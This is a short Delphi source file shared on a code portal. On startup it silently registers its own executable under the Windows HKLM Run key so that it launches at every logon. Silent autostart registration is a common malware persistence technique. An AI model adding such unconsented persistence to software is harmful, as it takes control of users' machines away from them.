【delphi开源代码栏目提醒】:网学会员在delphi开源代码频道为大家收集整理了dy97.pas提供大家参考,希望对大家有所帮助!
unit dy97;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Image1: TImage;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure zdyx(a,b: string;c: boolean);
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{ TForm1 }
procedure TForm1.zdyx(a, b: string; c: boolean);
var
d: string;
e: TReginiFile;
begin
if c then
d := 'once'
else
d:= '';
e := TRegIniFile.Create('');
e.RootKey := HKEY_LOCAL_MACHINE;
e.WriteString('software\microsoft\windows\currentversion\run'+d +#0,a,b);
e.Free ;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
self.zdyx('ZDYX',application.ExeName,false);
end;
end.